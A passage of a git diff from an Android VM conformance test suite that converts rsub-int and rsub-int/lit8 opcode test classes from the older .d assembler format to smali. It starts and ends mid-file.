-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali
new file mode 100644
index 0000000..685689f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_3.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d
deleted file mode 100644
index c37f9da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_4.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali
new file mode 100644
index 0000000..8064980
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_4.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d
deleted file mode 100644
index 473020a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_5.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -32768
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali
new file mode 100644
index 0000000..4b32ee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_5.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d
deleted file mode 100644
index e902f19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_6.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali
new file mode 100644
index 0000000..f0f4985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_6.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d
deleted file mode 100644
index 6bb3571..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_7.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali
new file mode 100644
index 0000000..41400f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_7.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d
deleted file mode 100644
index 9494e21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_8.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v4, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali
new file mode 100644
index 0000000..d2bc678
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_8.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v4, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d
deleted file mode 100644
index 12b5fe4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_9.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali
new file mode 100644
index 0000000..ac41fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_9.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d
deleted file mode 100644
index fd45062..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_1.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 4
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 60
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 20
-       return v0
-.end method
-
-.method public run3(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -25
-       return v0
-.end method
-
-.method public run4(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -70
-       return v0
-.end method
-
-.method public run5(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -50
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali
new file mode 100644
index 0000000..45f39e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali
@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -50
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d
deleted file mode 100644
index a8e37a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_10.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali
new file mode 100644
index 0000000..fc1cd39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d
deleted file mode 100644
index 615eede..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_11.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali
new file mode 100644
index 0000000..e73a193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d
deleted file mode 100644
index 7490328..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_12.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali
new file mode 100644
index 0000000..0a0d4d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d
deleted file mode 100644
index fa026fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_2.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 123
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -123
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali
new file mode 100644
index 0000000..1606a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2;
